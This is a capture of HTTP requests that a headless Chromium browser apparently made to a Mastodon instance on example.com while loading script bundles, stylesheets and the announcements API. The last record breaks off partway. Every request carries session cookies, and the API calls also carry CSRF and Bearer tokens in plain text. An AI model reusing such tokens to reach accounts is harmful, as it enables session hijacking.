{"method": "GET", "target": "/packs/copy_button-Cvmgdf-k.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTcuMjQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ca98143c3c1563a5ddadc6ea19538a0af2d047ce; _mastodon_session=9DP5cYM6SXrXL5R1ExFbf6vEdFOM4GG%2BGJr8lJ78xLFVP%2F2FT6Ji8k%2Fh7SHdrmmKmnixHxY7h1bNP%2FkX1TGKceQGzDzIVd3QsKC0wWBb4kLZcbtv%2BWrsTBkjvsFOHSwVdOAMIBu8gpzGbz0vRBKyyVFT53Fx8je9mWdUIOlPOiIoZXf6i4feWF9sWQe4Ik5eF8r6TiejmeLlKfiYSNHK7fwHXRrV1Gr%2FNbyb%2BF3PFYk9LP0lOh09PStl4Qda0Um0wFxmjWyojsN26aCtF8ywuJrIWKDYa1Vt4asiKNwWjSBkpMtEvoRPYWrz68Du%2Bnh53Elan4JX04X%2Bhutc%2BYoDSF3t1WjlxUpaBUm%2BYrBM%2FcwIuK7Jnb1M7oG4e5xh7BbY1JwsCeEyyDXu--0EN0Y2qwCL3uuITd--qm0%2B6pw%2BTkXTX4%2Fa8kmFnA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/home", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTguNTM2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6e66f1fdb98e5f6300a1ec7cafb829c3bbc13cf6; _mastodon_session=XOts8Os87077Dh7Jz%2B8mPUA6%2Bm8sPyBDVVkFFF1RF9xJ1SWscyMLpoeQdlW%2FyzS9XdsA5HFtMYOSEGu5Ia%2FoWnoIQf1WTrXABbRIni3%2F2twUW%2Fso68KluirGxYC6wJgtEa82GJU3K9gcTs6knfdWiqU8jthBlLD65I6DOjWa50Z%2FA8sHj5KhV9H0ytV0%2BJnCO5BNBQbrZwbOTc%2FYlXNQ%2F%2BOhrBzGLexUGO483Sj3xjZ0Ipm8jczET17r6DFlyLXFERT88DDV0UssqYxkONUWuTped2mhMqZbSgyS%2F%2FXZF7B44c8c8XRAoMo0Kv8bcA7N4LYady3JlJlOWs7xvNArXguo71Bi8rAICYPmElCyi1Pedb%2Fbj2BpBgcQRVav8cPBdeUDsVHR%2Fkp1--TdRB5p6BZ4BWFtmB--tCyX7W8EPW7l1rtdB06L0Q%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/bundle_column_error-TCkCl549.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTkuMTA4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2617c2128ae27218f058b3d43c10a869eab60653; _mastodon_session=j2KzCT8iLZpn%2BspCFJQgyaiP1VAKEKwz28Bdv5lI73MQGKoJJ3YBiK3IKMpSgwWVi61%2B4qSyMBxNTEnYHdTqOvtzkAhl2b9fg8%2Ba7I26GoSViIwiUau64pDZKBtufZ5vmlvXtL11Bqz59ugZAMaqP9BaQ%2B29gakaFauOIt19ARVSsrUp1owAUPhj0aRzAAmt2cI3Z4%2FWJqhI7yPA5yHT6D%2FWOkAT31IjLaX4OLGevPKAdjvTzEW4nNm%2F8r%2BNKxvwqadPiC%2FDeZey5dlFemeQJod%2F8HrfW%2Bk9viDIdXyv%2Bj%2F6KQ1XV8I9d4iAllSl2lkadgaFqsZ%2Bzn%2F9JeB3QsmzogrOB7U6KcqpMm7wK1fWgeHQJwOCdbfxVnrf4qdX0sy%2FK%2FPMcXoAzGkD--XDr6PjRcdT8nQwYi--3ncxYNjGfVJf68O1QgG0Kg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/onboarding-BlDKxj5Q.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTkuMTA4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2617c2128ae27218f058b3d43c10a869eab60653; _mastodon_session=j2KzCT8iLZpn%2BspCFJQgyaiP1VAKEKwz28Bdv5lI73MQGKoJJ3YBiK3IKMpSgwWVi61%2B4qSyMBxNTEnYHdTqOvtzkAhl2b9fg8%2Ba7I26GoSViIwiUau64pDZKBtufZ5vmlvXtL11Bqz59ugZAMaqP9BaQ%2B29gakaFauOIt19ARVSsrUp1owAUPhj0aRzAAmt2cI3Z4%2FWJqhI7yPA5yHT6D%2FWOkAT31IjLaX4OLGevPKAdjvTzEW4nNm%2F8r%2BNKxvwqadPiC%2FDeZey5dlFemeQJod%2F8HrfW%2Bk9viDIdXyv%2Bj%2F6KQ1XV8I9d4iAllSl2lkadgaFqsZ%2Bzn%2F9JeB3QsmzogrOB7U6KcqpMm7wK1fWgeHQJwOCdbfxVnrf4qdX0sy%2FK%2FPMcXoAzGkD--XDr6PjRcdT8nQwYi--3ncxYNjGfVJf68O1QgG0Kg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/volume_off-D61wX6FU.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTkuMTA4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2617c2128ae27218f058b3d43c10a869eab60653; _mastodon_session=j2KzCT8iLZpn%2BspCFJQgyaiP1VAKEKwz28Bdv5lI73MQGKoJJ3YBiK3IKMpSgwWVi61%2B4qSyMBxNTEnYHdTqOvtzkAhl2b9fg8%2Ba7I26GoSViIwiUau64pDZKBtufZ5vmlvXtL11Bqz59ugZAMaqP9BaQ%2B29gakaFauOIt19ARVSsrUp1owAUPhj0aRzAAmt2cI3Z4%2FWJqhI7yPA5yHT6D%2FWOkAT31IjLaX4OLGevPKAdjvTzEW4nNm%2F8r%2BNKxvwqadPiC%2FDeZey5dlFemeQJod%2F8HrfW%2Bk9viDIdXyv%2Bj%2F6KQ1XV8I9d4iAllSl2lkadgaFqsZ%2Bzn%2F9JeB3QsmzogrOB7U6KcqpMm7wK1fWgeHQJwOCdbfxVnrf4qdX0sy%2FK%2FPMcXoAzGkD--XDr6PjRcdT8nQwYi--3ncxYNjGfVJf68O1QgG0Kg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/home_timeline-BoubaQqh.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NTkuMTA4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2617c2128ae27218f058b3d43c10a869eab60653; _mastodon_session=j2KzCT8iLZpn%2BspCFJQgyaiP1VAKEKwz28Bdv5lI73MQGKoJJ3YBiK3IKMpSgwWVi61%2B4qSyMBxNTEnYHdTqOvtzkAhl2b9fg8%2Ba7I26GoSViIwiUau64pDZKBtufZ5vmlvXtL11Bqz59ugZAMaqP9BaQ%2B29gakaFauOIt19ARVSsrUp1owAUPhj0aRzAAmt2cI3Z4%2FWJqhI7yPA5yHT6D%2FWOkAT31IjLaX4OLGevPKAdjvTzEW4nNm%2F8r%2BNKxvwqadPiC%2FDeZey5dlFemeQJod%2F8HrfW%2Bk9viDIdXyv%2Bj%2F6KQ1XV8I9d4iAllSl2lkadgaFqsZ%2Bzn%2F9JeB3QsmzogrOB7U6KcqpMm7wK1fWgeHQJwOCdbfxVnrf4qdX0sy%2FK%2FPMcXoAzGkD--XDr6PjRcdT8nQwYi--3ncxYNjGfVJf68O1QgG0Kg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: DhuW4OAQwzFBdZh1ooy1_wr3ShrwE9-GasH1Y5NBpyPk3a0awbgj04gtch8KKfW80vJDlV8xBAf_J58SaA0asw", "Authorization: Bearer rWYdK4yMefqkXZ-lsb59TawdJXJRbItKCLaZHqnAH2U", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFOemcxWmpFM05HUmhaak16TVRObVlqazRORGRoT0RnNVpUVTBPR0l3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MDAuNDQxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2e005a0c0a39553d22226afa129a9a92911e8a52; _mastodon_session=cTydIB16X6RaTdkrtlDildZ9B%2BiSpFgy2H0aJJCiweoKl0KNq6tOaDQOHnyxoujCtgl%2B44Nz98ZjYcVWcALXzMXdRmL77K9aaV6YcY25cdtT6Z9g1YE7mzi53rC%2FHAjHaJ67Nbw%2B67TLshzZwrO6tqvgQc%2BFxhykd0gU%2F6ZmW0weJsJs8d6BHrgG4xaHYmwqBiVWB2XgfYlDqf80ozbgv4APSGtB96ovfkHXpkQUobKCkdBPQzUuWGrvln2BeKhDF25KSF%2B7Umxu2vAo3YpLQ0D2RhQMDDaaweYBj6pYmD89IWBsZTFORLgYRCEt2NNoBNEJJ%2F8zWRfD9se%2FjGrhcblDf0YUsWZLiOYjNRmIrbzLSHtj%2B09Ht340%2FzuO%2Bsq2b7MxLcGeDIOy--2TLUrGI1xJYR4I3W--d3EBR9y2nw0on9AQVT8qaw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/app-DHclxKoS.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=QmOUx2DCAY5Avlk6vEpyTplzwOZMdYu4tb4VPa2HaaFhBAYdZ8dFCEfeqnZXX7JYMmaroZkP0YFPewIK16c7BiCSNpvXI%2BhTAdsg91or%2F2QX2FuZJ9ApE3apRGSLVklFfkGUjhL6M1MLbf%2Fy95Ig3R9ojm7So%2F0jFvPLrME5FfEr13iJ%2BL8TjoX4zd2WwXTn12SQcna58HVjCEQyNA4e22cJrmvm2lsIwM9F0nAxUCzBz5Txsn6iADfTcAi3SMy8yz3Hhs709cwig4jfdzpLW9AQm7aBmUUTzA%3D%3D--mKuoeJLj0Qsgm4Ql--sIaGgeDm4MfK9vrg3u7AeA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/emoji-C5pkf6Bo.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTEuMDE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--665890d811247b4b997782ae212205a7ad88a7cd; _mastodon_session=7efypH68D5YUfyRVpSuxX5aL4TaaIXs8EX8NtWnRgacRwM3SPynX6lJUcYJPcSEzbbMuRfgHEe3RKxk8EbqXJclvU7Qh9NMBZGvi3uWcbezF63Cw%2Fb2ZmjrwLHdE6CdQFnvhTF0EVUc29RLwgbrxShA0XenOHRxURmjKtzzYQIlc2YOrRgwSpmfTkysQ%2ByYHHIayZpm5oB0bdK1%2FRIvFoS%2FoO2R7YgD7zACPn6phP%2B6rRjJqmJwPw9Csk3wJdDHCT8anLfqAG7IGBsJeUnN%2B7Hf3ipSU3zFnn91FSsSRtc8iKfMFA%2B8pZ4hfouBcfrLsFXBNAB27Olz5y1yI04RUyNQ5%2FpUOZ2NxR%2FIGNjxFb7%2BBTs1JVi3JHONAMSoEUGEDA512oZGtnKtH--NJVtl6tJoyzE8zSn--lgiua4u9lK7tgFzAolBgQw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/display_name-BHmLvgU_.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTEuMDE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--665890d811247b4b997782ae212205a7ad88a7cd; _mastodon_session=7efypH68D5YUfyRVpSuxX5aL4TaaIXs8EX8NtWnRgacRwM3SPynX6lJUcYJPcSEzbbMuRfgHEe3RKxk8EbqXJclvU7Qh9NMBZGvi3uWcbezF63Cw%2Fb2ZmjrwLHdE6CdQFnvhTF0EVUc29RLwgbrxShA0XenOHRxURmjKtzzYQIlc2YOrRgwSpmfTkysQ%2ByYHHIayZpm5oB0bdK1%2FRIvFoS%2FoO2R7YgD7zACPn6phP%2B6rRjJqmJwPw9Csk3wJdDHCT8anLfqAG7IGBsJeUnN%2B7Hf3ipSU3zFnn91FSsSRtc8iKfMFA%2B8pZ4hfouBcfrLsFXBNAB27Olz5y1yI04RUyNQ5%2FpUOZ2NxR%2FIGNjxFb7%2BBTs1JVi3JHONAMSoEUGEDA512oZGtnKtH--NJVtl6tJoyzE8zSn--lgiua4u9lK7tgFzAolBgQw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/scroll_container-DTFJ2dtn.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTEuMDE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--665890d811247b4b997782ae212205a7ad88a7cd; _mastodon_session=7efypH68D5YUfyRVpSuxX5aL4TaaIXs8EX8NtWnRgacRwM3SPynX6lJUcYJPcSEzbbMuRfgHEe3RKxk8EbqXJclvU7Qh9NMBZGvi3uWcbezF63Cw%2Fb2ZmjrwLHdE6CdQFnvhTF0EVUc29RLwgbrxShA0XenOHRxURmjKtzzYQIlc2YOrRgwSpmfTkysQ%2ByYHHIayZpm5oB0bdK1%2FRIvFoS%2FoO2R7YgD7zACPn6phP%2B6rRjJqmJwPw9Csk3wJdDHCT8anLfqAG7IGBsJeUnN%2B7Hf3ipSU3zFnn91FSsSRtc8iKfMFA%2B8pZ4hfouBcfrLsFXBNAB27Olz5y1yI04RUyNQ5%2FpUOZ2NxR%2FIGNjxFb7%2BBTs1JVi3JHONAMSoEUGEDA512oZGtnKtH--NJVtl6tJoyzE8zSn--lgiua4u9lK7tgFzAolBgQw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/environment-a85louTd.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTIuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7baaf6976d678f0aa539857f6894f895a0c06b1c; _mastodon_session=Tbxsx%2BsKcvl4dneGeEUL23UfHB4Too3AZUL4Q6Wm1aZoMJRcxqrqTmYyrqsXwGOQ9k%2FZg%2FX8f%2F%2FJnsnbKrh4QNPLuHBhP1uUM2z5DSESPsRNv2mlliXX0h0iXi5ji2Fv%2FTNG0dX1x9K%2Fbw9O%2F27n2FOTwba8y7TnrVVcYageI6VKOBCBmwexc2E%2BhyBXpvW3EkR4EeoR9or6LHen9ROn2xAVir%2F4x2nl4g2zfg2lNn%2FamEvvERJdmq1wHAn2D1RVYtpmcW74%2BflJ%2Bt%2FgiKoptEjeJX3zNcrVt4vhr1Wc8MDuN%2BQA285gSP8xx9%2ByOsSlsPj6emZO1aJjT5CCagLykirZx3VKqCWp80xCbjr1ra660IEWnlEiAIhKDUuBheG1i%2BvW%2F28cB%2F%2FK--SgUvOxA6u0MwTE9z--yWKDPkjwiwpZpX5yHYbVqw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/ImmutablePropTypes-C_rOJ6cM.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTIuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7baaf6976d678f0aa539857f6894f895a0c06b1c; _mastodon_session=Tbxsx%2BsKcvl4dneGeEUL23UfHB4Too3AZUL4Q6Wm1aZoMJRcxqrqTmYyrqsXwGOQ9k%2FZg%2FX8f%2F%2FJnsnbKrh4QNPLuHBhP1uUM2z5DSESPsRNv2mlliXX0h0iXi5ji2Fv%2FTNG0dX1x9K%2Fbw9O%2F27n2FOTwba8y7TnrVVcYageI6VKOBCBmwexc2E%2BhyBXpvW3EkR4EeoR9or6LHen9ROn2xAVir%2F4x2nl4g2zfg2lNn%2FamEvvERJdmq1wHAn2D1RVYtpmcW74%2BflJ%2Bt%2FgiKoptEjeJX3zNcrVt4vhr1Wc8MDuN%2BQA285gSP8xx9%2ByOsSlsPj6emZO1aJjT5CCagLykirZx3VKqCWp80xCbjr1ra660IEWnlEiAIhKDUuBheG1i%2BvW%2F28cB%2F%2FK--SgUvOxA6u0MwTE9z--yWKDPkjwiwpZpX5yHYbVqw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/useTimeout-B7x_fFEH.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTIuOTIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7baaf6976d678f0aa539857f6894f895a0c06b1c; _mastodon_session=Tbxsx%2BsKcvl4dneGeEUL23UfHB4Too3AZUL4Q6Wm1aZoMJRcxqrqTmYyrqsXwGOQ9k%2FZg%2FX8f%2F%2FJnsnbKrh4QNPLuHBhP1uUM2z5DSESPsRNv2mlliXX0h0iXi5ji2Fv%2FTNG0dX1x9K%2Fbw9O%2F27n2FOTwba8y7TnrVVcYageI6VKOBCBmwexc2E%2BhyBXpvW3EkR4EeoR9or6LHen9ROn2xAVir%2F4x2nl4g2zfg2lNn%2FamEvvERJdmq1wHAn2D1RVYtpmcW74%2BflJ%2Bt%2FgiKoptEjeJX3zNcrVt4vhr1Wc8MDuN%2BQA285gSP8xx9%2ByOsSlsPj6emZO1aJjT5CCagLykirZx3VKqCWp80xCbjr1ra660IEWnlEiAIhKDUuBheG1i%2BvW%2F28cB%2F%2FK--SgUvOxA6u0MwTE9z--yWKDPkjwiwpZpX5yHYbVqw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 